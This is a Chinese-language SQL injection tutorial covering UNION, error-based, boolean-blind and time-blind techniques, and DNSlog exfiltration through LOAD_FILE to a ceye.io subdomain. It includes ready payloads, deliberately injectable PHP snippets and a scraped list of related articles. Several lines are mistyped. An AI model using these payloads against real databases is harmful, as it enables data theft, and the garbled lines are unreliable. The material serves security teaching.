SQL注入语法

Union注入方法
SQL UNION操作符
UNION操作符用于合并两个或多个SELECT语句的结果集。

注意,UNION 内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同。

默认情况,UNION 操作符选取不同的值。如果允许重复的值,请使用UNION ALL。
例:
SELECT column name(s) FROM table_ name1
UNION
SELECT column_ name(s) FROM table_ name2

|SELECT column_ name(s) FROM table_ name1
UNION ALL
SELECT column name(s) FROM table_ name2

UNION注入应用场景
1.只有最后一个SELECT子句允许有ORDER BY;
2.只有最后一个SELECT子句允许有limit;
3.只要UNON连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果:
4.注入点页面有回显;
例:
mysql> select * from users order by id union select 1.2,3;
ERROR 1221 (HY00): ncorrer usage of UNION and ORDER BY

mysq|> select * from users limit 0.1 union selet 1.2.3;
ERROR 1221 (HY00); Inorrecet usage of UNION and LIMIT

order by猜出来的列数超过数据库表中的列数,报错井不能返回数据

过程
1.order by确定列数
2.观察页面返回,选取可以显示数据的位置,进行下一步的注入
3.读库信息
4.读表信息
5.读字段
6.读数据
在这个3到4阶段,可以执行任意语句

报错注入原理

构造payload让信息通过错误提示回显出来
应用场景:查询不回现内容,会打印错误信息。Update、insert等语句, 会打印错误信息

if($row){echo "Your Login name:'.$row['usemame'];
}
else{print_r(mysql_error());
}


报错注入方法
凡是可以让错误信息显示的函数(语句) ,都能实现报错注入,这里我们列举3种。

floor()
select count(*) from information_schema.tables group by concat((想要执行的sql注入语句),(rand(0)*2)):

group by对rand0函数进行操作时产生错误
concat:连接字符串功能
floor:取float的整数值
rand:取0~1之间随机浮点值
group by.根据一个或多个列对结果集进行分组并有排序功能

extractvalue()
extractvalue(1,concat(0x7e,(想要执行的sql注入语句),0x7e);、

xpath语法错误产生报错
extractvalue() :接收2个参数,第一个XML文档,第二个xpath语句

updatexml()
select updatexml(1,concat(0x7e,(想要执行的sql注入语句),0x7e)1);

xpath语法错误产生报错
updatexml() :接收3个参数第一个XML文档 ,第二个xpath语句,第三个字符串

sql盲注

布尔盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{echo "right" ;
}
else
{echo "wrong" ;
}

代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息
只返回"Right" 与"Wrong"
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和"假”来识别我们的判断是否正确,这既是布尔盲注。

1.如果页面返回“假”, 说明系统执行的SqL语句为“假”。例如: id=1 and left((select version0).1)=5–+
错误请求,id=1’,想办法构造语句.判断数据库中内容的值

布尔盲注方法
构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入

left0函数
left(database(),1)>‘s’
database()显示数据库名称,left(a,b)从左侧截取a的前b位

regexp
select user() regexp ‘^r’
正则表达式的用法user()结果为root,regexp为匹配root的正则表达式

like
select user0 like ‘ro%’
与regexp类似,使用like进行匹配

substr()函数
ascii()函数
ascii(substr((select database()),1,1)=98
substr(a,b,c)从b位开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

ord0函数
mid0函数
ord(mid((select user())1,1))=114
mid(a,b,c)从位b开始,截取a字符串的c位ord()函数同ascii()。将字符转为ascii值

时间盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{echo "" ;
}
else
{echo "" ;
}

代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息
语句执行后也不提示真假,我们不能通过页面的内容来进行判断
这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注!

时间盲注方法

构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
核心语法: if(left(user(),1)=‘a’,0,sleep(3));
left(user(),1)='a’判断通过SQL语句取到某个值

真实场景: if(ascii(substr(database(),1,1)> 115,0,sleep(5))%23

dnslog盲注原理

$id=$_ GET['id'];
$sql=' SELECT * FROM users WHERE id= '$id' LIMIT0,1';
$result =mysql_queryl($sql);
$row = mysql_fetch_array($result);
if($row)
{echo "right" ;
}
else
{echo "wrong" ;
}

代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息
我们通过布尔或者时间盲注都可以获取到内容,但是整个过程效率低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。

我们需要一种方式,减少请求,直接回显数据,这里可以使用DnsLog实现注入!

Dnslog平留: http://ceye.io/
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取信息请求信息
Windows系统的MySqI LOAD_ FILE函数可以发起请求

Dnslog盲注方法
构造语句,利用load file()函数发起请求,使用Dnslog接受请求,获取数据
核心语法: SELECT LOAD_FILE(CONCA(‘\\’,select database()), ‘.mysql.r4ourp.ceye.io\abc’));
通过SQL语句询内容,作为请求的部分,发送至Dnslog
只要对这一部分的语句进行构造,就能实现有回显的SQL注入
值得注意的是.这些数据格式和内容都有限制,需要进行些处理

SQL注入语法类型和sql盲注相关推荐

  1. SQL注入进阶:掌握布尔盲注和延时注入攻击技巧

    数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...

  2. SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注

    页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...

  3. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  4. 【SQL注入漏洞-04】布尔盲注靶场实战

    布尔盲注 当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...

  5. 墨者学院-SQL注入漏洞测试(布尔盲注)

    决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...

  6. 封神台SQL注入-基础靶场1-布尔盲注

    文章目录 布尔盲注(一) 布尔盲注(二) 布尔盲注(三) 布尔盲注(一) 1.判断注入类型 id=1 and 1=1//有数据 id=1 and 1=2//no results found 判断为数字 ...

  7. SQL注入漏洞测试(报错盲注)笔记

    这个是今天拿下的靶场,这是我作为小白学习的第二个靶场,做一下笔记 已知IP地址为:219.153.49.228,端口号为41280,访问了之后是下面的页面 看到这个页面之后,我进入了后台,查看之后知道 ...

  8. 【SQL注入漏洞-01】SQL注入漏洞原理及分类

    SQL注入简介 结构化查询语言(Structured Query Language,缩写︰SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言. SQL注入(SQL Injection)是一 ...

  9. sql注入及mybatis防止sql注入

    一.Sql 注入漏洞详解 Sql 注入产生原因及威胁: 当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句.这种网站内部直接发送的Sql ...

  10. 再谈SQL注入入侵动网SQL版

    再谈SQL注入入侵动网SQL版  编辑前言: 这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞.说到底和动网没有什么关系,但因 ...

最新文章

  1. 2018-04-29
  2. 巴士云_“相见不如在线”巴士五公司“云面试”汽修工和驾驶员
  3. python定义类object_Python之ClassObject用法详解
  4. 嵌入式Linux的Qt
  5. 你以为的并不是你所以为的,《传说之下》Undertale打破游戏的墙
  6. 禁止 VMware Fusion 自动调整 Windows 分辨率
  7. ssldump0.9b3版本的源码分析
  8. 95-190-744-源码-WindowFunction-WindowFunction
  9. android listview添加数据_Android系统列表控件
  10. 三种方法生成随机数之srand篇
  11. 亚马逊狂发智能硬件新品:全新音箱、微波炉、挂钟、家庭卫士
  12. python数据模型和各种实用小技巧,保证让你更PYTHONIC
  13. QTcpSocket的使用步骤
  14. OSChina 周四乱弹 —— 大光头与地中海并行,格子衫共沙滩裤一色
  15. DevOps系列之 —— 持续规划与设计(三)敏捷项目管理的方法【Kanban 与 Scrum】
  16. 【系统集成项目管理工程师】项目资源管理
  17. 无人机,diyDrones,3dr,pixhawk,Chris Anderson, 这几个概念是什么关系?
  18. 中国为什么没有根域名服务器
  19. 2.2.1 数据通信系统的模型
  20. 惊天消息!无线网卡驱动能在最新笔记本里使用

热门文章

  1. 复指数与高斯函数乘积的傅里叶变换_球谐光照——球谐函数
  2. webm格式怎么转换成mp4?
  3. C语言编程轰炸,C语言实现数字炸弹小游戏
  4. DevCon 命令与批处理自动禁用启用网卡
  5. springboot的web练手项目,适合新手,以及初级程序员项目实战,也适合老手进行二次开发的众多项目
  6. namedpipe资料 政治课报告3000字 base64编码 《近世代数引论》冯克勤 P 1-5 - 学习记录 2020/6/5
  7. html天天生鲜项目,day54-天天生鲜项目订单管理
  8. Win11 在线安装QT5.15.2教程
  9. Lambert 投影转换相关代码
  10. 抓包与发流软件与网络诊断